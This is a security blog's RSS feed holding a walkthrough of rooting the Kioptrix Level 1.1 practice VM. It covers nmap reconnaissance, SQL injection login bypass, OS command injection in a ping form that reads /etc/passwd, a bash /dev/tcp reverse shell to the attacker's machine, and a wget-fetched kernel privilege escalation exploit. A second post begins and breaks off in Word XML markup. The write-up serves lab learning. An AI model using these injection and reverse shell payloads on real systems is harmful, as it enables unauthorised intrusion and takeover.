<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-8805024510347536027</atom:id><lastBuildDate>Tue, 21 Oct 2025 07:17:02 +0000</lastBuildDate><category>Android</category><category>Mobile</category><category>bWAPP</category><category>iOS</category><category>Drozer</category><category>OWASP</category><category>SQLi</category><category>Appie</category><category>Kali</category><category>Metasploit</category><category>Metasploitable</category><category>Apache</category><category>Armitage</category><category>Burp Suite</category><category>Goat Droid</category><category>Injection</category><category>Keychain</category><category>OS Command Injection.Blind</category><category>OSCP</category><category>Path Traversal</category><category>SQLmap</category><category>SSI</category><category>Shellshock</category><category>Vulnhub</category><category>XML</category><category>XSS</category><category>XXE</category><category>bash bug</category><category>debugging</category><category>iGoat</category><category>xssValidator</category><title>The HackPot </title><description>Application, Network and Mobile Device Security </description><link>http://thehackpot.blogspot.com/</link><managingEditor>noreply@blogger.com (Anonymous)</managingEditor><generator>Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-5716349793043098677</guid><pubDate>Fri, 04 Aug 2017 16:49:00 +0000</pubDate><atom:updated>2017-08-09T08:13:14.706+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">OSCP</category><category domain="http://www.blogger.com/atom/ns#">Vulnhub</category><title>Kioptrix: Level 1.1 (#2)</title><description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;h3&gt;
&amp;nbsp;Kioptrix VM Image Challenges&lt;/h3&gt;
&amp;nbsp;&quot;This Kioptrix VM Image are easy challenges. The object of the game is to
 acquire root access via any means possible (except actually hacking the
 VM server or player).
The purpose of these games are to learn the basic tools and techniques 
in vulnerability assessment and exploitation. There are more ways then 
one to successfully complete the challenges.&quot; - &lt;a href=&quot;https://www.vulnhub.com/entry/kioptrix-level-11-2,23/&quot; target=&quot;_blank&quot;&gt;Link&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Step 1 - &lt;span style=&quot;font-family: inherit;&quot;&gt;Host Discovery&lt;/span&gt; &lt;/span&gt;&lt;/h3&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;As always, the first step for any pentest is to gather information on the intended target. For this particular assignment&amp;nbsp; we want to identify the IP address of the Kioptrix VM. To do this we can use netdiscover, a passive/active arp reconnaissance tool that detect hosts on the network.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;pre style=&quot;background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; netdiscover -i eth0 -r 192.168.1.0/24  
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;h3&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Step&lt;span style=&quot;font-family: inherit;&quot;&gt; &lt;/span&gt;2 - Fingerprinting&lt;/span&gt;&lt;/h3&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;We have identified the IP of the target as 192.168.1.11.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;The next step involves fingerprinting the device to check for any open ports, running services, 
etc&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;

&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; root@kali:~# nmap -sS -A -n 192.168.1.11 
 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-01 14:54 EDT 
 Nmap scan report for 192.168.1.11 
 Host is up (0.00033s latency). 
 Not shown: 994 closed ports 
 PORT   STATE SERVICE VERSION 
 22/tcp  open ssh   OpenSSH 3.9p1 (protocol 1.99) 
 | ssh-hostkey:  
 |  1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1) 
 |  1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA) 
 |_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA) 
 |_sshv1: Server supports SSHv1 
 80/tcp  open http   Apache httpd 2.0.52 ((CentOS)) 
 |_http-server-header: Apache/2.0.52 (CentOS) 
 |_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8). 
 111/tcp open rpcbind 2 (RPC #100000) 
 | rpcinfo:  
 |  program version  port/proto service 
 |  100000 2      111/tcp rpcbind 
 |  100000 2      111/udp rpcbind 
 |  100024 1      615/udp status 
 |_ 100024 1      618/tcp status 
 443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS)) 
 |_http-server-header: Apache/2.0.52 (CentOS) 
 |_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8). 
 | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- 
 | Not valid before: 2009-10-08T00:10:47 
 |_Not valid after: 2010-10-08T00:10:47 
 |_ssl-date: 2017-08-01T15:45:28+00:00; -3h09m43s from scanner time. 
 | sslv2:  
 |  SSLv2 supported 
 |  ciphers:  
 |   SSL2_RC4_64_WITH_MD5 
 |   SSL2_RC4_128_WITH_MD5 
 |   SSL2_RC4_128_EXPORT40_WITH_MD5 
 |   SSL2_DES_64_CBC_WITH_MD5 
 |   SSL2_RC2_128_CBC_WITH_MD5 
 |   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 
 |_  SSL2_DES_192_EDE3_CBC_WITH_MD5 
 631/tcp open ipp   CUPS 1.1 
 | http-methods:  
 |_ Potentially risky methods: PUT 
 |_http-server-header: CUPS/1.1 
 |_http-title: 403 Forbidden 
 3306/tcp open mysql  MySQL (unauthorized) 
 MAC Address: 00:0C:29:FC:6D:40 (VMware) 
 Device type: general purpose 
 Running: Linux 2.6.X 
 OS CPE: cpe:/o:linux:linux_kernel:2.6 
 OS details: Linux 2.6.9 - 2.6.30 
 Network Distance: 1 hop 
 Host script results: 
 |_clock-skew: mean: -3h09m43s, deviation: 0s, median: -3h09m43s 
 TRACEROUTE 
 HOP RTT   ADDRESS 
 1  0.33 ms 192.168.1.11 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
 Nmap done: 1 IP address (1 host up) scanned in 18.92 seconds 
 root@kali:~#&amp;nbsp; &lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
A couple of things to note from the nmap scan - TCP/22 (SSH), 
TCP/80, and TCP/443 (HTTP/HTTPS) running on the server. We can also see that TCP/3306 (MySQL) is running - this may mean that a SQL Injection is viable somewhere on the page.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Step 3 - Exploitation &lt;/h3&gt;
We know port 80 is running so lets have a look. When you arrive on the Index page, you have a login page - I decided to check if the login form was vulnerable to SQL injection.If you want to learn more about SQLi check out the posts &lt;a href=&quot;http://thehackpot.blogspot.ie/2014/05/exploiting-error-based-sql-injection-in.html&quot; target=&quot;_blank&quot;&gt;Error based SQli&lt;/a&gt; and &lt;a href=&quot;http://thehackpot.blogspot.ie/2014/05/blind-sql-injection-tutorial.html&quot; target=&quot;_blank&quot;&gt;Blind SQli&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsNvhfRUbQrvInMJb-pJ-u59piTHntLMu5FUk2wiUaXtasY7dG5WFPMSVYLlgdmmvnkWY2nGy_8rJR4R-J4RLerDz3_itVIvqXt5zTxKgpczor3Jqf9omSRET3a25wIOiITcfFIZB-/s1600/sqliLogin.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;351&quot; data-original-width=&quot;1072&quot; height=&quot;208&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsNvhfRUbQrvInMJb-pJ-u59piTHntLMu5FUk2wiUaXtasY7dG5WFPMSVYLlgdmmvnkWY2nGy_8rJR4R-J4RLerDz3_itVIvqXt5zTxKgpczor3Jqf9omSRET3a25wIOiITcfFIZB-/s640/sqliLogin.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Great, the SQLi has allowed us to bypass the login page, we are now presented with a web console page. It appears the functionality takes an IP address from a user and executes a ping command. To test this we can input 127.0.0.1.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7kuMwDpbRZwVLvKC5kSTqJPl2bCVSZzONkJF2wsQy5FVx9Jv67pLjczjzJA4Ds1aQbkVfQtXDr9lKtGbCSBITXcpzu8p9fq8NQE4LxwLeUys23cAhl4kto0VsH7NhJgvym-DJLA13/s1600/ping1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;220&quot; data-original-width=&quot;764&quot; height=&quot;115&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7kuMwDpbRZwVLvKC5kSTqJPl2bCVSZzONkJF2wsQy5FVx9Jv67pLjczjzJA4Ds1aQbkVfQtXDr9lKtGbCSBITXcpzu8p9fq8NQE4LxwLeUys23cAhl4kto0VsH7NhJgvym-DJLA13/s400/ping1.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
As can be seen from the output below, the result shows the results from pining 127.0.0.1. So to reiterate on the functionality, the page takes user input and executes a ping command. Ping is an OS command so we can assume that the OS is interpreting this input.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq1P2_JEIxPRrUERqQk16mzbiZziMqZIcRiewaTRKdB-QmKoo56zlQw6GGfrVMFg2yQ2G92PGtpSF3Y5coNqSIZRMvOp-5POJbOiOI3G3g2JakvZPcpUBGZDpTbqWwZao0omE4ivaF/s1600/ping2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;258&quot; data-original-width=&quot;622&quot; height=&quot;165&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq1P2_JEIxPRrUERqQk16mzbiZziMqZIcRiewaTRKdB-QmKoo56zlQw6GGfrVMFg2yQ2G92PGtpSF3Y5coNqSIZRMvOp-5POJbOiOI3G3g2JakvZPcpUBGZDpTbqWwZao0omE4ivaF/s400/ping2.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp;The next logical step is to test what types of input the field will accept. A good workflow would assume that a user will enter an IP address, but what about a nefarious workflow?? If the input is being sent to the OS to be interpreted can we send other commands? Lets inject an IP followed by a command separator (;) and the pwd command (pwd - print working directory Linux).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhia1wQrQh4_vme4Qx1cMzUHEHrNhiOqf11tRWZ0NaMpYdNfuKJFVML1QiaTl1cqMvxOi_x8pCXWuipsDlC0c_03ickiZimzEQWSi0h_RVZGr-dIijBfOYaGsYKz5nTRL_joBRt5enn/s1600/pwd.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;207&quot; data-original-width=&quot;773&quot; height=&quot;105&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhia1wQrQh4_vme4Qx1cMzUHEHrNhiOqf11tRWZ0NaMpYdNfuKJFVML1QiaTl1cqMvxOi_x8pCXWuipsDlC0c_03ickiZimzEQWSi0h_RVZGr-dIijBfOYaGsYKz5nTRL_joBRt5enn/s400/pwd.PNG&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
As before we can see the results from the ping but also this time we can see /var/www/html. We can now assume that the field is vulnerable to OS command injection. &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFjt0ke_U4zFSTHXNExTJtqVjmh1ALIjz7NTA79eL1X4G1nzB4ybjbX7g65Ft2aj-OFWpIVu_tAHV3PKLuzqKq0Hqf91IbLuXxGkusMoCd5aySomCq4Y_3NCXOxNzlyhdu8XilxvJ/s1600/pwd2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;287&quot; data-original-width=&quot;624&quot; height=&quot;182&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFjt0ke_U4zFSTHXNExTJtqVjmh1ALIjz7NTA79eL1X4G1nzB4ybjbX7g65Ft2aj-OFWpIVu_tAHV3PKLuzqKq0Hqf91IbLuXxGkusMoCd5aySomCq4Y_3NCXOxNzlyhdu8XilxvJ/s400/pwd2.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;nbsp;We can look for more interesting files such as /etc/passwd, use the command ;cat /etc/passwd&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJfCWeqWmr_ugLWFDbE0EBaNu4CJycQhimMhFEP2ySa3ibYV8CT67JslKyki4T9IRvrXyUTmPSmM17lGhSTMLBsETEGGR6gif-kMR8cTtnfP2h_4sPFYZTE_L8HCVkB_N2fmW3VupU/s1600/etc.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;220&quot; data-original-width=&quot;615&quot; height=&quot;142&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJfCWeqWmr_ugLWFDbE0EBaNu4CJycQhimMhFEP2ySa3ibYV8CT67JslKyki4T9IRvrXyUTmPSmM17lGhSTMLBsETEGGR6gif-kMR8cTtnfP2h_4sPFYZTE_L8HCVkB_N2fmW3VupU/s400/etc.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;nbsp;The result is shown below... &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaKMFY7-2iyKuJj415mL8aW4eoAkKu9uGNb_7rRu7oC7cWsrGO0QmgtxdvM4MkVLLG8jBNoBu_ELVb85ZpuuF7wts7Zl9bVzXnpXu0B1wDuMm7RmeLCeBZ-xJg_Z1EuIJloh72FEEl/s1600/passwd.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;699&quot; data-original-width=&quot;650&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaKMFY7-2iyKuJj415mL8aW4eoAkKu9uGNb_7rRu7oC7cWsrGO0QmgtxdvM4MkVLLG8jBNoBu_ELVb85ZpuuF7wts7Zl9bVzXnpXu0B1wDuMm7RmeLCeBZ-xJg_Z1EuIJloh72FEEl/s640/passwd.PNG&quot; width=&quot;592&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Let’s try to invoke a reverse shell by setting up a Netcat listener on port 443 - remember this port is already open on the victim’s machine.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguBc3r-tlHdZOPJe_5PaMt0twHWb4-BBv8sSZGkY4fQPFvXVhKXJHTsXUz-lSbO1k2bSWpXRWiiP04G4snyf87reUTumgzwZSr7At_NbYQsm5IZeHCDYfSvxGYnl7LuO_uh-IQHhnZ/s1600/listener.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;52&quot; data-original-width=&quot;257&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguBc3r-tlHdZOPJe_5PaMt0twHWb4-BBv8sSZGkY4fQPFvXVhKXJHTsXUz-lSbO1k2bSWpXRWiiP04G4snyf87reUTumgzwZSr7At_NbYQsm5IZeHCDYfSvxGYnl7LuO_uh-IQHhnZ/s1600/listener.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Then go back to the Ping console on the website and run the following command:&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
127.0.0.1; bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.1.10/443 0&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGobnhyhDDNW5FdePZ4BtajTi965IUe7r23349XVg2bAE3ca-eBqa8R-IgBjcm_Y1gFeSkP5Y0ALjeT5_tGh4O3yEs6nV7DkTqFzjJzdOADhGiAmBJ69dYZHd6PXfrwch-uIWLwJiA/s1600/10.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;193&quot; data-original-width=&quot;626&quot; height=&quot;98&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGobnhyhDDNW5FdePZ4BtajTi965IUe7r23349XVg2bAE3ca-eBqa8R-IgBjcm_Y1gFeSkP5Y0ALjeT5_tGh4O3yEs6nV7DkTqFzjJzdOADhGiAmBJ69dYZHd6PXfrwch-uIWLwJiA/s320/10.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;b&gt;Step 4 - Privilege Escalation&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Great we are now connected to the victims machine however we are running
 under the apache account. We really want to escalate our privilege to 
access the root account&lt;code&gt;.&lt;/code&gt;&lt;/div&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIX0JLvQAwczD_WUABdvkAJ-uYaQo8gcI53PDY0eBukgCckoyG-rmU6y5VS4fjt5HceYbLiIgEu89mkXiE2v-Dodzyh2j-uLjHsXD6kQIKsjwOiGteKQIvVzHuJNBKgG_8uwh1i7U_/s1600/bash.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;140&quot; data-original-width=&quot;572&quot; height=&quot;97&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIX0JLvQAwczD_WUABdvkAJ-uYaQo8gcI53PDY0eBukgCckoyG-rmU6y5VS4fjt5HceYbLiIgEu89mkXiE2v-Dodzyh2j-uLjHsXD6kQIKsjwOiGteKQIvVzHuJNBKgG_8uwh1i7U_/s400/bash.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;div class=&quot;highlight&quot;&gt;
Let’s start by seeing what version of Linux the system is running.&lt;code&gt;&lt;b&gt; &lt;/b&gt;&amp;nbsp;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBWV8ozz2PR8oEqC-bOg7aszZyI6_48DyvLMRTdvM3GW88wLuUtSWEiBWrEexV9AtGGNU7_RmkyZEtpocNXIretJpt7GILTlEZOgqsNm2GfITo9Xy-7GB7DMB_6xen9uD5By7RElis/s1600/info.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;151&quot; data-original-width=&quot;869&quot; height=&quot;67&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBWV8ozz2PR8oEqC-bOg7aszZyI6_48DyvLMRTdvM3GW88wLuUtSWEiBWrEexV9AtGGNU7_RmkyZEtpocNXIretJpt7GILTlEZOgqsNm2GfITo9Xy-7GB7DMB_6xen9uD5By7RElis/s400/info.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
After a quick search I was able to find a Privilege Escalation exploit called &lt;a href=&quot;https://www.exploit-db.com/exploits/9542/&quot;&gt;ip_append_data_() Ring0&lt;/a&gt;. You can download the code, then move it to /var/www/html and start your apache server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOLmyv2xFepv_YkGNAz7BxDGM1KKKpRE9ViGS6H9wgo6DB140V8FMMh813FV8Z4MrD-48MWlEKS5zO7_6TVAtXRkjp17weCSh8kwU2MShqi7jFeVwu6yy0tnUUNxoAR1vnJj-Lt8sY/s1600/attacker.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;187&quot; data-original-width=&quot;626&quot; height=&quot;118&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOLmyv2xFepv_YkGNAz7BxDGM1KKKpRE9ViGS6H9wgo6DB140V8FMMh813FV8Z4MrD-48MWlEKS5zO7_6TVAtXRkjp17weCSh8kwU2MShqi7jFeVwu6yy0tnUUNxoAR1vnJj-Lt8sY/s400/attacker.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Lastly use wget to move the code to the victims machine, compile and execute.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHGTIqZ7N296S_b-RJIJvLuGPEluqR5u8vOQmtqcxZYHBQ65vcysL6x38xZhUAJRFhyphenhyphenhMsEjzj6_tG3uH8hgwnZQCaQlEq7ZOQf1MKvY61TVTxOmF2Mk4CC0EGdahKHedEca_suPey/s1600/root.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;131&quot; data-original-width=&quot;744&quot; height=&quot;70&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHGTIqZ7N296S_b-RJIJvLuGPEluqR5u8vOQmtqcxZYHBQ65vcysL6x38xZhUAJRFhyphenhyphenhMsEjzj6_tG3uH8hgwnZQCaQlEq7ZOQf1MKvY61TVTxOmF2Mk4CC0EGdahKHedEca_suPey/s400/root.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
That&#39;s it we have now rooted the VM :) Hope you enjoyed the post&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;nbsp; &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2017/08/kioptrix-level-11-2.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsNvhfRUbQrvInMJb-pJ-u59piTHntLMu5FUk2wiUaXtasY7dG5WFPMSVYLlgdmmvnkWY2nGy_8rJR4R-J4RLerDz3_itVIvqXt5zTxKgpczor3Jqf9omSRET3a25wIOiITcfFIZB-/s72-c/sqliLogin.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-3744073264663001017</guid><pubDate>Thu, 09 Mar 2017 12:50:00 +0000</pubDate><atom:updated>2017-03-10T09:28:48.824+00:00</atom:updated><title>Pwning OWASP Juice Shop </title><description>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
